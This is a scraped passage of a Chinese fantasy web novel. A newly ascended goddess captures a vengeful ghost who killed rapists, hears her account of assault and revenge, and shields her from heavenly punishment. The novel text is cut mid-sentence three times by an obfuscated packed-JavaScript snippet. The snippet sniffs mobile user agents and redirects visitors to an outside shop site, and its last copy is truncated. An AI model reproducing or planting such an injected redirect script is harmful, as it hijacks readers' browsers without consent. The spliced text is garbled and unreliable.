洛念安回神，才注意到不远处有一座破屋，缝缝补补摇摇欲坠地立在那里，没有灯，往外冒着黑气。她心道：“难道这就是那害人之物的老巢？”这么想着，腿已经先快一步迈出去了。她静悄悄地靠近，贴着墙，挪至墙上的破洞处，贴上去往里看，里面很黑，很暗。洛念安一手握着血光的手柄，悄声移到破旧的大门前，握紧血光，“嘭”地一下推开门，借着月光，赫然看见面前吊着的一具干尸。冲击感太过强烈，洛念安瞪大眼睛，忍不住后退一步，定了定心神，才绕过那具干尸，继续往里走。一绕过去才发现这间屋子吊着的可不止这一具干尸，她留心观察了一下，都是男尸，一共有十具。也就是说，那东西杀了至少十个人。 洛念安心下骇然，围着他们绕了一圈，发现这屋子就这么大，都是被吊着的干尸，却不见那害人之物。她停在那里，正思考着，然后发现自己的肩膀上覆上来一只手，她偏头望去，是一只苍白的，有着长而尖的黑色指甲，分布着突出的青黑色的血管的手。洛念安顿了一下，才扭头往后看去，入眼的，是一张惨白的脸。 哦，原来是只女鬼。 血光飞出，缠住那只手的胳膊，洛念安抓着另一头灵巧转身，挣脱那女鬼的束缚。女鬼拽过吊在一旁的干尸甩向她，洛念安接也不是不接也不是，血光收回，卷了那尸体，好好放置在一边。女鬼破门而出，跳上屋顶，洛念安蹭蹭几步追上去，一跃而上，右手一伸，口中道：“龙吟，来！” 话音一落，身后的麻袋里飞出两道金光，在空中合二为一，势如破竹，声似龙吟。它伴随着低鸣声，向下，稳稳落入洛念安手中。洛念安握着枪，手指微动，长枪在手中飞速旋转划出一圈又一圈金色的光圈，又握紧，直直朝那女鬼刺去。女鬼回身阻挡，被击退数步，跌落屋顶，往地上砸去。一阵灰尘飘起又散去，那道红色身影从中而出，长发飘散，看着很是癫狂，她勾着手，利爪袭向洛念安，被闪身躲过，龙吟猛地敲在她的左肩上，那左手臂登时垂了下去没了动静，与此同时，她人也掉了下去。洛念安飞身追上，落在那女鬼身边，龙吟的利刃泛着银光，指着她的脑门，洛念安垂眸看她，道：“你不是我的对手。” “我知道。”女鬼跪在地上，突然变得异常平静。她咧嘴笑了一下，道：“没关系，反正我该做的都做完了，还赚了几个，无所谓了，你灭了我吧。” 她的声音是意外的好听，仔细看去，五官也十分精致，想来生前必定是个美人儿，只是看着这具身体，估计死时的年龄也不大。那，是什么会让她化作厉鬼残害人命呢？ 洛念安道：“我不会灭你。该如何处置，天界自有天界的规定。” 女鬼似乎愣住了，良久，才抬头看向洛念安，问道：“你是神？” 洛念安无言点头。 那女鬼却忽然仰天大笑，又有了癫狂之意，她笑了很久，才收住笑，看向洛念安，目露凶光，厉声道：“好一个神明！我被逼到走投无路之时，在神庙百般祈愿万般恳求，诸天神明没有一个在意过我！如今，我不过是杀了几个杂碎！恶魔！几个该死的猪狗不如的东西！倒是劳你们屈尊降贵下界来捉我了。真是可笑！我问你，高高在上的神明，为何人生下来就分三六九等？为何善不能有善报恶不能有恶报？！为何有的人恶事做尽却能好好活着？！而有的人！明明什么都没有做错！明明！受害的人是她！却要被千夫所指百般刁难！为何！做错事的人相安无事，而，受到伤害的人就要一辈子痛苦！万劫不复！” “……”洛念安愣住。 女鬼仍在歇斯底里：“你怎么不说话？你告诉我啊！你不是神吗？你不是主宰万物的神吗？这天地间天理何在？！公道何在？！你们！说得好听是神明，其实不过也就是爬的更高的人罢了，和那些黑心官吏有什么区别？！请愿都要捐足够的功德才有人理！而我们这些平民，普通老百姓，捐不起功德的人，就活该遭受不平等不公正！活该深陷苦难！而你们却置之不理！” “……”洛念安张了张嘴，磕磕巴巴地吐出一句在此时毫无说服力的话：“不是……不是这样的。” 她一直死死盯着洛念安，目光狠厉，见她呆滞在那，神情又忽地放松下来，她笑了笑，跌坐在地上，轻声道：“女神明，还真是不多见。我曾几乎走遍了所有的神庙，还真没见过几个女神仙。你是主神吗？” 她的态度转变之大，洛念安愣了一会儿，收了龙吟，才道：“应该是主神的，不过我是最近才飞升，也没有神庙。” 一些大的神庙供奉主神，亦会同时供奉一两名跟随者神官修行的小仙官。例如，洛君逸的神庙几乎都会同时供奉着念清漓，其实若是他们愿意，洛念安也可以被供奉在内，但不知是何原因，一直都没有。洛君逸的信徒似乎都不大知道他有个女儿，叫洛念安。 那女鬼一袭火红的纱衣，在月色中格外显眼，衬的面色极白，五官也越发精致。她应该是成鬼很久了，道行很高，从白日显黑夜，以及她那张保养的很好的面容上可以看出。她听了洛念安的话，笑了笑：“原来女子也能做武神。” 洛念安望着她，干脆地坐在她身边，口中道：“当然可以。你听说过颜无双吗？” 她的举动倒是让女鬼愣了好一会儿，才看向她，道：“魔道始祖，谁不知道？” 洛念安笑了笑：“她在成魔前就是武神啊，而且还是排名靠前的武神。” “那她为什么会成魔？” “这个我也不知道。”洛念安略带歉意地笑笑。 “你的神号是什么？” “珈洛。” “珈洛将军？” 洛念安摇摇头，道：“大家一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14345172|152665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 般唤我珈洛公主。” “你飞升前是公主？” 洛念安摇头，顿了一下，又点头：“大概是的。” 女鬼却是把她从上到下仔仔细细打量了一下，实话道：“你看着真不像是个公主。” 洛念安讪笑道：“其实我也觉得。” 女鬼却是笑了笑：“也挺好的，落在你手里总比落在那些万恶不赦地男神官手里强。” 洛念安张了张嘴，轻声道：“我想这其中是不是有什么误会？” 女鬼冷笑一声，突然自报家门，道：“我叫叶蓉，生前的名字。” 洛念安眨眨眼，问道：“你们鬼不是不轻易告诉别人生前的姓名吗？” “是不轻易，”叶蓉道：“不过时至今日，也无所谓了。” 洛念安闭口不语。 叶蓉继续道：“你有时间吗？我想同你讲个故事。” 洛念安点头，温声道：“有时间的。” 叶蓉笑了笑，顿了一会儿，才开口道：“我生前是一家农户之女，虽然家里没什么钱，但机缘巧合下也读过几本书，识得几个字。”她停了一会儿，继续道，“日子虽苦吧，却也幸福，原本计划着等到了年纪，便许一个好夫家。后来夫家也定好了，就在我满心欢喜地等着要出嫁时，发生了一件事。” 洛念安侧目看她，问道：“什么事？” 叶蓉却是沉默了很长一段时间，然后道：“在我与母亲出门购置成亲之物时，被城里的一个富商盯上。那狗东西荒淫无道，仗着自己有钱，为所欲为。他截了我和母亲，想霸占我，我宁死不从，他便让人当着我的面……”她停了好一会儿，接着道，“打死了我母亲，然后……然后，霸占了我。” 她蜷缩着，好似要哭，却流不出眼泪，周身都被一团化不开的悲痛笼罩。 洛念安心下大骇，一股无名火从心底蹿出直冲脑门，她咬咬牙。又伸出手，覆在叶蓉后背上，轻轻拍了拍。 “我很痛苦，但也想让恶人得到报应，于是我去报了官，可是那狗官被金钱收买，不仅不治他的罪，还当众说是我勾引的那恶心的男人。”叶蓉也好似咬紧了牙关，继续道：“他说要纳我为妾，我宁死不从，就肆意的辱骂我羞辱我。那些看戏的人没有一个人指责他，反而来说我，说我失了贞洁不检点。我的婚事取消，父亲也不让我进家门，说是我害死了我的母亲，丢了他的脸。我走在路上，所有人都对我指指点点议论纷纷！我上告，没人理。我求神拜佛，也无人问津。我痛苦的想死！我活不下去了！所以，我跳河了。” 说到最后她竟然笑了出来：“我做了鬼，去找了那个恶心的、猪狗不如的东西，割了他那恶心人的玩意儿，喂他吃进嘴里，看着他像一条狗一样跪在我面前求我原谅！”她笑出了声，“我告诉他，我还会来找他的，然后躲在暗处，看着他每日胆战心惊，逐渐疯魔，哈哈哈哈哈哈哈，你知道那感觉有多爽吗？你不会知道的！我就等着，磨着他，让他慢慢慢慢地崩溃，疯掉，然后将他抽筋挖骨！” 她又笑，放声大笑了好一会儿，才看着呆滞的洛念安道：“我不认为我有错，我有什么错？我只是在替天行道罢了！他所遭受的痛苦不及我万一！他人给不了我的公道，我自己给！有错吗？你说，我有错吗？” 洛念安从悲痛，震惊，无数糅杂在一起的复杂情绪里抽回神，看着叶蓉，沉默地，轻轻地，摇摇头。 叶蓉又突然拉着洛念安起身，走到破门边，指着挂在里面的一具具干尸，道：“这个，霸占少女，致其自杀。这个，jian杀女童。这个更是荒淫无道猪狗不如，被他糟蹋的女子没有十个也有八个！他们难道不该死吗？还有，宋家那个该死的恶心东西，前段时间，霸占有夫的孕妇，致其丧命，胎死腹中。他不该死？！他不死谁该死？！我杀他，有错吗？！” 洛念安的视线从那些干尸上转移，定定地看着叶蓉，她心中的情绪犹如惊涛骇浪，太过复杂，让她说不出话来，也做不出什么反应。 叶蓉松开手，忽地笑了起来：“也对，你是神嘛。自然会觉得我在残害人命，天理不容。” 洛念安却是摇头，轻声道：“世上之事本无定规定法，对错只在人心罢了。”她说着，又抱着头蹲下身子，满是颓然。过了很久，才喃喃道，“我竟然救不了你们。” 10. 非黑即白非对即错 “念将军？！” 是柳渊，随即便听见利刃出鞘划破疾风的声音。洛念安抬头，柳渊已经和那女鬼打在一处，而赫连昭赶到她身边，低头看着她，犹豫了一下，还是问道：“你没事吧？” 洛念安冲他笑了笑，摇摇头：“没事。”说完站起身，下一瞬拦在被打得连连败退的叶蓉面前，大声道，“柳将军，先停一下。” 利刃回鞘，柳渊蹙着眉，满眼惊疑：“你这是何意？” 洛念安抿唇，片刻后，才温声道：“这件事情，还请二位不要再插手了。” “什么？！”赫连昭走上前来，问她：“你知道你在说什么吗？你知道你身后那个是什么吗？” “我知道，”洛念安看他，语气坚定，道：“这件事十分复杂，容我自己处理。” 赫连昭指指叶蓉，又指向门后被挂着的干尸：“有什么复杂的？人赃俱获！她做鬼滥杀凡人，此等祸害苍生之物，应该带到天界依规处置，你要如何处理？” 洛念安却是摇头，道：“不不，并非祸害苍生，在我看来，若是真的，那应该叫惩奸除恶。” 柳渊依旧是蹙着眉，开口道：“惩奸除恶？我算是听明白了，你现在是要包庇这只恶鬼，对吧？” 洛念安沉默，叶蓉之事她也不好擅自开口告知他人，一时不知该如何说。 却听见身后的叶蓉道：“珈洛公主，不用为我求情，我一人……一鬼做事一鬼当，你把我抓去，该如何做便如何做，不必为难。” 洛念安转身看她，微微一笑：“不，事情并未水落石出，我既不能听信你一人之言，亦不能就这样将你交到天界。你所说的，和那些死者生前之事，我还需调查清楚。若你没有撒谎，那我便不认为你是做了错的事。既然没有做错的事情，自然也就不需要受到惩罚。” 赫连昭的眉头皱的能夹死一只苍蝇，提高声音道：“什么没有做错的事？那些死者还挂在那，你一点都看不见？是你教我要坚守原则坚守底线的，你的原则和底线呢？！” “我是教你要守着原则和底线，但我也教过你，这世上之事并不是非对即错非黑即白，这么多年这句话你到底参透了几分？”洛念安望着他，神情是一改往日的严肃。 赫连昭愣住了，仿佛刹那间就回到从前洛念安教他读书写字明事理的时候。那时她并不总是随和，在他犯了错的时候会严肃地惩罚他。不同的是，那时候她唤作念安，也始终扮作男子。 洛念安也察觉到了有几分不妥，道了句：“抱歉。”又微笑着，语气再度温和，“二位将军，个中缘由实在复杂，不便多说，待我查明真相再做评判如何？” 眉头皱成“川”字的柳渊想和赫连昭对视来着，但是后者一直呆立在那里没反应，故而作罢。良久无言后，柳渊道：“你需要查什么，我帮你。” 洛念安却是微笑摇头：“已经麻烦将军许多了，剩下的我自己来就好。” 柳渊道：“也好。不过我有必要提醒一句，宋家最开始是在白锦仙君殿中请愿的，若这件事迟迟未了结……总之，你想想措辞吧。” “白锦仙君？”洛念安微笑道：“好，我明白了，多谢。” 柳渊望了身后的叶蓉一眼，又看向洛念安，翻出一个乾坤袋递给她：“这里面有捆妖索还有收妖袋。” 洛念安伸手接过，道了谢，然后掏出收妖袋，打开，对身后的叶蓉道：“不好意思，麻烦你先进去一下吧。” 叶蓉也干脆，当即化作一到红光钻入袋中。洛念安匝好口袋，小心地收好。 柳渊提醒：“你背上的东西也可以收入乾坤袋中。” 洛念安却道：“不用了，我已经习惯背着它们了。” “那行，”柳渊也不多纠结，拉了赫连昭一下，问道：“你一直在发什么呆？我们赶紧离开这里吧。” 于是一行三人原路返回。路上，望着倒在那里的一堆乱石，洛念安才想起来问：“话说，我方才遇到一位银面人。” 话音一落，柳渊和赫连昭同时停下脚步，本来柳渊在前，洛念安在中，赫连昭在后，现在柳渊转过身子，两人一前一后夹着洛念安，表情都不是一般的严肃。 柳渊问：“戴着银面具的人？” 洛念安点头：“是啊。” 赫连昭问：“还有什么特征？” 洛念安回忆了一下，道：“还有一群小动物，猫啊，兔子啊，鹿啊之类的。” 柳渊总算是和赫连昭对视上了，两人沉吟了一阵，迅速一人一边，架起洛念安就跑，脚下生风。 洛念安被拉着飞快地往前走着，不明所以：“二位知道他是谁吗？”其实她心里有一个答案，但又觉得不太可能。 柳渊语速很快：“还能是谁？他那只大鸟都来了，戴着银面具，十有八九就是他。” “太阴仙？”洛念安偏头看他。 柳渊道：“还能有谁？他对你做什么了？你俩开打了？” “那倒没有……我倒是想跟他打的，他却走了。”洛念安想起那人的举动，忽然觉得有些不好意思，燥意上头，脸颊微烫，她沉默了一会儿，才道：“他带着我找到了叶蓉。” “叶蓉是谁？” “就是那女鬼。” “……”柳渊过了好一会儿才道：“你要跟他打？他却走了？！他肯定别有用心，说不定在哪里设计要害你。” 洛念安眨眨眼，道：“不会吧？” “怎么不会？我跟你说这人，不是，这只鬼恶劣得很，出任务要是碰到他，总会给你使点绊子，很是气人。方才我和赫连昭遇到的东西肯定是他放的！” 赫连昭也道：“太阴仙可驱百兽，每次运气不好碰见他，都要放一大堆毒蛇毒蝎来碍事。” 洛念安却笑道：“竟如此调皮？” 柳渊接上：“恶劣，不是调皮，念将军你这个形容很不恰当。话说，你放才说有什么动物？兔鹿猫？” 洛念安点头：“是啊。” 柳渊沉默下来，半晌才道：“如此诡异，这又是他想出来的什么捉弄人的法子？” 洛念安小声道：“他似乎真的是来帮我的，那些动物也很可爱。” 赫连昭道：“他没那么好心。总之，快些离开这里。”说话间，几人已经飞奔离开那深山。说完他就要重新起阵离开，洛念安打断他：“稍等，易桉还在那宋家。” 柳渊蹙着眉，不耐烦道：“干脆把他丢这儿得了，反正我看他不像好人。” “不行。”洛念安立即道，语气坚定，又道：“二位谁能传授我这瞬移阵法的口诀，我自己去找他，出来的时间也不短了，你们先回天界吧。” 赫连昭道：“这阵法极耗法力，告诉你你也不一定能启动阵法。” 柳渊也道：“是啊，我们和你一起吧，左右也不差这一会儿。” 洛念安无奈笑笑，道：“好罢，那就多谢二位将军。” 三人回到宋宅，一进大门就看见正对着大门倚着木柱的易桉。他一看见洛念安便站直身子，扬起笑：“姐姐，你回来了。” 洛念安也笑，道：“是啊。” 易桉边往过走，边问：“一切顺……”话还没问完，就被迎上来的宋老爷等人打断，并把两人隔开：“诶呀呀，仙人，你们可算回来了。如何了？” 见易桉面上表情不太好，洛念安隔着人群冲他微微一笑，见他也勾起唇角，才回了宋老爷的话：“一切顺利。” 易桉微怔。 洛念安继续道：“应该是不会再有何事端了。”说着，她又压低声音：“宋老爷，借一步说话。” 等二人走到远离众人的角落，洛念安才问道：“宋老爷，有件事情，我需问明白。” “仙人请讲。” “贵公子可有犯下何大错？” “……”这话一出，宋老爷脸上的笑意瞬间消去，垂着眸，面色紧绷，却不语。 洛念安微笑着：“若宋老爷不能如实相告，那接下来贵公子又遭遇什么，恕我无能为力。” 宋老爷抬手，以广袖拭去额头上浸出的密密麻麻的汗珠。他长叹一声，哀道：“是我教子无方啊，是我的过错。” 洛念安静待下文。听见宋老爷继续道：“我那不成器的儿子，从小被我和他母亲惯坏了。长大后那是吃喝嫖赌样样不落，之前我想着自己辛苦了一辈子，攒下来这些积蓄，也够他挥霍，只是训斥几次，没有多管。哪成想……哪成想会闹出人命啊！” 宋老爷见洛念安那严肃的神情，瑟缩了一下。听她道“接着讲”，吞咽一声，继续道：“是……是……” 他不好意思说，洛念安替他说：“强迫女子，致其死亡，一尸两命？” “……”宋老爷又抹了一把汗。 洛念安继续道：“你靠财力，保下了你的儿子。” 他眼神飘忽。 洛念安冷冷望着他，一字一句：“善恶终有报。” “扑通”一声， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14345173|152665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋老爷跪在洛念安身前。她反应也快，侧过身子，没受下他这一跪。宋老爷当即哀嚎出声：“仙人，求求你，救救我儿吧仙人。” “我救不了他。” 宋老爷“哐哐”磕头：“求求你了仙人，我求求你了。” 可怜天下父母心。 但这等罪孽不应该被原谅。 洛念安到底还是不忍心，蹲下身子，伸手扶住了他，道：“你先起来吧。他如今已经受到了一定的惩罚，接下来，按我说的做，或许能为他减轻罪孽，我说的是或许。” 宋老爷额头肿起血块，眼中却带着希冀，连连点头应下：“仙人，你说，我一定照做。” 洛念安望着他，沉吟片刻，道：“一，找到那女子的父母亲人，保其后半辈子衣食无忧。” “一定一定！” “二，做善事。包括但不限于修学堂、医馆，使病有所医，幼有所长。替那些流浪的贫苦人民修筑避难所，你既然家大业大，想来为他们提供些谋生的伙计也不是难事。三，无论你以前有没有，今后绝不能做欺压贫苦鱼肉百姓之事。” “是是是，我记住了，我一定会做的！” 洛念安垂下眸，迈步往大门那边走。易桉依旧倚着木柱，看样子是在等她。柳渊和赫连昭在吵架。 她唤了几人，拒绝了留下来吃饭的请求，又拉拉扯扯好半天，总算是把要跪下的人都拉起来，然后一齐离开了。 路上，柳渊问她：“你方才费劲拉他们做什么？我等为神，受跪拜是理所当然。还是说你还不适应？” “她从不受人跪拜。”说话的是赫连昭。 这话一出，他和洛念安同时愣了一下。洛念安笑笑，没有接话。 易桉却是越过人群，瞥了赫连昭一眼，抿着唇。 笼罩在九天郡上的乌云不知何时散去，但天色依旧是暗的，想来是真的天黑了。几人欲返回到原处，再启阵离开。 “姐姐，”易桉和洛念安落在后面，并肩走着，他用两人才能听到的声音道，“你似乎不太高兴。” 这不是问句。 洛念安一怔，看向易桉，习惯性笑笑。又垂下眸，沉默片刻，才道：“哀他人之苦罢了。” 易桉“哦？”了一声，又问：“何人之苦？” 洛念安道：“众人之苦。”顿了顿，她又道，“若是此生苦，喝了汤，也就罢了，往事如云烟，总没人世世皆苦。可是总有人选择留在这世上，永生永世，被怨、恨、不甘所折磨。” 易桉垂下眸看她：“姐姐，有些人留在这世上也可能并非因为怨恨。” 洛念安也回望过去：“嗯？” 易桉却移开目光，低垂着眼眸，不知在想些什么，片刻之后，他缓声道：“也许是因为不想遗忘和被遗忘。” 洛念安微微一笑：“若论遗忘，有句话常说，死亡不是生命的终点，遗忘才是。可我总觉得，人活一世，无论做了什么，是好是坏，再过一百年，最多两百年就会被人忘得一干二净。哪会有人几十甚至几百年一直记得另一个人呢？” 易桉依旧低垂着眼眸，听了这话，他道：“有的。” 洛念安微微一怔，脱口问道：“谁呢？” 易桉却不再言语了。过了好一会儿，久到洛念安以为这个话题已经结束了，又听见他说：“总会有的。” 洛念安笑了笑，点点头，道：“若真有的话，那么此人当真值得敬佩呢。” 易桉的视线停在洛念安身上，良久。而她正忙着和柳渊打听白锦仙君这位神官，没注意到。 “九尾狐吗？我倒是知道，是一个仙族。动物仙飞升的倒是不多见。” “是啊，我觉得确实需要了解一下。若是日后见了谁也不认得倒也尴尬，得罪人家就不好了。” 柳渊开玩笑道：“差点忘了，你是公主殿下，没人敢怪你的。” 洛念安淡淡一笑，温声道：“你要不说，我也忘了。” “姐姐竟是公主殿下。” 洛念安回过头，对上易桉的视线，忽觉得窘迫尴尬，垂下头，哈哈笑了一声，道：“实不相瞒，名存实亡，一道空身份罢了。” 易桉望着她，沉吟片刻，道：“怎么会？身份尊贵就是尊贵，是无论如何也泯灭不了的事实。” 洛念安望着他，脑中忽然响起一道稚嫩的童声： “你是公主殿下。” “你是的，你就是的。你看起来就应该是公主殿下。” 11. 一穷二白手作贺礼 柳渊他们回天界去了。洛念安带着易桉回了白玉兰村。 “小桉，”洛念安对着正在灶台旁忙着做饭的易桉道：“我可能需要召个东西出来，我去外面院子里，你不要出来，我担心你见了会吓到你。当然，你也不要害怕，我保证她不会伤害到你。” 易桉笑了笑，问道：“是姐姐捉住的那只鬼吗？” 洛念安偏头看他：“你怎么知道我捉的是鬼？” 易桉盖上锅盖，回过神，倚着灶台，道：“我猜的。没关系姐姐，我不害怕，你就在这里忙，不用管我。” 洛念安见他悠然自得，一副真的不害怕的样子，便就掏出了收妖袋，打开袋口，对里面道：“出来吧。” 洛念安特地背对着易桉召出叶蓉，就是担心他一时接受不了。自然也就没看见叶蓉出来的第二眼是看向易桉的，第二瞬便再次钻进了袋子里。 “诶？”洛念安不明所以，对着袋口：“怎么了？你怎么又回去了？” “我突然觉得在里面待着挺舒服的。”叶蓉的声音从袋子里飘出。 洛念安看向易桉，又恍然大悟，道：“抱歉，她可能不太喜欢见到男子。” 易桉双臂交叠椅在那里，看着洛念安的目光沉沉，口中道：“这有什么可值得姐姐道歉的？” 洛念安愣了愣，道：“抱歉，习惯了。” “……” “……” 洛念安无奈地笑了笑，又扭头对着袋子道：“没关系的，他是个好人，你别怕。” 说完自己又停住了，一时半会儿也搞不清到底是谁该怕谁。 里面的叶蓉嘀咕了一句：“我怕的不是男人，是主人啊！” 声音太小，洛念安没听清，问了一句：“什么？” “姐姐，”易桉突然出声：“若是将袋子倒过来，她会出来吗？” 洛念安前面刚道“不太好吧”，后面叶蓉就从袋子里钻了出来。 她看了易桉一眼，垂着头，又看向洛念安。 洛念安微笑着招呼她道：“坐吧。” 易桉已经又回过身去忙着做饭了。洛念安用缺了口的陶土杯给叶蓉倒了杯水，推到她面前，才道：“让你出来是想麻烦你一一告知我那些人的名字，死亡时间，地点。我好调查清楚。” 叶蓉垂着眸，轻声道：“我可以写下来。” “那太好了。”说着洛念安就起身去拿纸笔。过程中易桉端了一道菜上桌，叶蓉蹭的一下站了起来，等易桉松手，又伸手把那道菜仔仔细细地摆在桌子正中央。 洛念安的视线在两人身上游移许久，又笑着对叶蓉道：“你似乎很怕他。” 易桉手上动作没停，叶蓉也没往那边看，只是道：“没，可能，可能只是不太习惯和男子相处。” 洛念安点点头，笑而不语。将纸笔放在叶蓉面前，道：“你写，我为你研墨。” 叶蓉就提笔写了起来。期间，易桉端着一盘白菜上桌，在洛念安旁边坐了下来，道：“姐姐，趁热吃吧。” 见着叶蓉似乎也要收尾了，洛念安道：“好。”又看向叶蓉，“你也一起吃点吧。” 叶蓉手摆地飞快，道：“我不吃熟食的。若公主你没事的话，我就先回去了。” 她指的是回袋子里。 洛念安哑然失笑，道：“你似乎很喜欢那个地方。” 叶蓉点点头：“确实挺舒适的。”说完她站起身，“那我就不打扰了，我回去了。”然后自己钻进了收妖袋。 洛念安依旧在笑，拾起袋子，匝了口，收进乾坤袋里，揣入袖口，又收起叶蓉写了东西的那张纸。易桉已经盛好米饭摆好碗筷，重新坐下了。洛念安望着小炒肉和米椒白菜，将小炒肉从自己面前推到易桉面前，微笑着看他：“吃吧。” 易桉点头，用第三双筷子夹了几块肥瘦相间的肉放进洛念安碗里，才夹了一筷子白菜，万般优雅地吃了起来。 洛念安也吃，又状似不经意地开口：“今日在九天郡遇到一位怪人。” “哦？” 洛念安看了他一眼，道：“戴着银面具，后来听说那位就是传闻中的太阴仙。” 易桉笑了笑，道：“是吗？姐姐竟真的见到他了？” 洛念安点头：“大概率是没错的。只是不知他为何会出现在那里。” 易桉道：“这个姐姐可能得亲自问他本人了。” 洛念安但笑不语。 安静地吃了一会儿饭，又听到易桉问道：“姐姐见到他本人，觉得如何？与传闻中有差别吗？” 他似乎真的只是单纯的好奇。洛念安望了一眼蹲在灶台边吃菜叶子的兔子，轻轻笑了笑：“有的。他帮了我，无论出于何种原因我都十分感激。只是戴着银面具，没看清他到底是何模样。” “姐姐很想知道他是何模样吗？” 洛念安笑笑：“只是好奇，人家既不愿意露出真容想必有自己的想法和顾虑。” 易桉看着她道：“戴着面具，说不定真如传闻所说，是个丑八怪。” 洛念安也看向他，温声道：“传闻而已，又有几分可信呢？再说，美丑又该如何定义？与我而言，若是投缘，百拙千丑也无所谓。若是不投缘，就是貌若天仙我也不愿与之结交。” 易桉垂眼，片刻后，又抬起眸笑道：“姐姐所说十分有理。许是我运气好，与姐姐如此投缘，而姐也是风华绝代貌若天仙。”顿了顿，他补充道，“哦，姐姐本就是天仙。” 突然被他如此认真地这么一夸，洛念安顿觉不好意思难为情，低头垂眸，两抹红晕悄悄爬上面颊，她揪着自己洗到发白的衣袖，拧过来，捻过去，低声道：“哪有的事，真是抬举我了。” 易桉望着她，笑着，却是认真道：“没有，我当真是十分百分的诚心诚意。” 洛念安干脆地抬起碗扒拉饭，一个陶土碗遮了她整张脸，仿佛这样人就不会难为情了。她听见易桉的轻笑声，筷子扒拉地更加快了。 后来洛念安去了趟天界，找锦和帮忙查一下那几位死者的生平。只是过了好几日也无果，她不好意思通灵催，于是准备去一趟天界当面催。这时，小院里却迎来了一位天神。 那人一头白发，长如银瀑，一部分高高束起，另一部分自然垂着，发尾搭在臂弯处，额前留着两条龙须。一袭白袍，一尘不染。身量很高。肤色也白得不似活人，一张瓜子脸，小巧精致，一双狭长的狐狸眼，看人时清冷至极。他立在那里，美得清新脱俗，惊心动魄，仿佛与周身万物都不相容。 但他是位男子，准确地说，是一只公的，九尾白狐。 洛念安脸上挂着笑，主动问候道：“想来这位就是白锦仙君了。” 白锦的目光先是落在洛念安身上，转而越过她看向她身后的易桉。目光停留片刻，又对着洛念安微微一点头，声音带着几分空灵：“公主殿下。” 本来叶蓉正在院子里活动筋骨，见来人立马钻进了收妖袋里。洛念安抓着袋子，还没来得及收，白锦就进来了。 洛念安伸出手对着大门，道：“仙君要不先里面请？” 白锦伸出一只手道：“不必客气，这是锦和托我带给殿下的公文。” 洛念安上前去接过，道了句：“多谢。”便展开细细看了起来，看着看着，她面上的笑意渐渐消失，听见白锦说：“另，锦和真君问殿下何时能将女鬼叶蓉交由天界处理。” 洛念安慢慢合上卷轴，嘴角重新挂着笑，她抬眸看向白锦，温声道：“恕我无法交人。” 白锦面上神情无一丝变化，只是问道：“殿下何意？” 洛念安退回到易桉身前，不答反问道：“请问仙君，若我交出叶蓉，天界该如何处置？” “她残杀凡人，为祸人间，且道行不浅，应设阵关押，永世不得出。” 洛念安举起手中的卷轴，问道：“若是那些人残害百姓，罪大恶极呢？” 易桉抽走了她手中的卷轴，打开看了起来。 白锦面无表情：“殿下应是明白，那些人无论做了什么，自有因果。但若是强行插手，扰乱因果，无论如何都说不过去，也应该受到惩罚。” 洛念安却是摇头，低声道：“我们不该如此，位于高座，却漠视众生。今世恩怨就该今世得报，若是待到来世，又有何意义？今世坏事做尽却安享晚年，来世就算投胎成猪羊又能如何？前世被残害的无辜之人该得何因，该结何果？” 白锦垂下眸子，片刻后又抬起，望着洛念安：“殿下，你可知这件事原是我殿中的。” “你们接活不做背调吗？”这话是易桉说的，他边收起卷轴边道：“这种人的功德都收，怎么，你活不起了？” 洛念安愣了一下，她飞快看向白锦，后者却只是垂着眸，面上看不出半点不高兴，也不出口说什么反驳的话。她一边心中感慨这位仙君真是好脾气，一边嘴上道歉：“仙君，真是抱歉，他……” “无妨。”白锦打断她，道：“既然殿下执意如此便罢了。告辞。”他也干脆，说算了就算了，转身就走，没有一丝犹豫。 洛念安微笑送客：“仙君慢走。” 她不肯交出叶蓉，故而这次的功德也没有算在她的头上。她对叶蓉好一番劝诫，不可滥杀无辜云云，便放走了她。所以忙活半天，还是欠着一屁股的债。而且好像这样一来，她也留下了个办事不力优柔寡断的名声，于是锦和那边几天都没再派活过来了。洛念安倒觉得还好，就是欠着外债不是很好。可把柳渊急坏了，打麻将的时候他说：“念将军，你真是一点都不急啊，第一件事就办成这样，小心被罚去跟锦和一起办文工哦。” 洛念安笑着，道：“这种事情哪里能急得来？再说了，我觉得我这件事情办的还不错。” 易桉打出一张一万，道：“就是。” “碰！”洛念安喜滋滋地捡起那张一万和自己的两张一万摆在一起。 “你怎么又碰？马上碰赢了都！”柳渊说着看向易桉：“你不会是故意的吧？” 易桉瞥他一眼，淡淡道：“自己牌技不行开始怨天怨地。” “你说谁牌技不行？我都听牌了！”柳渊晃着扇子，骄傲地扬起眉。 赫连昭问他：“你胡什么？” “八筒。” 赫连昭紧接着摸了一张牌，然后放下四张牌，道：“暗杠。”他眼看柳渊，慢条斯理地翻出其中一张——八筒。 “什么？！”柳渊炸了：“你摸了四张八筒？！” 赫连昭眼里闪着得意，道：“先给钱。” 一人给了一块铜板。柳渊一边骂骂咧咧一边看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 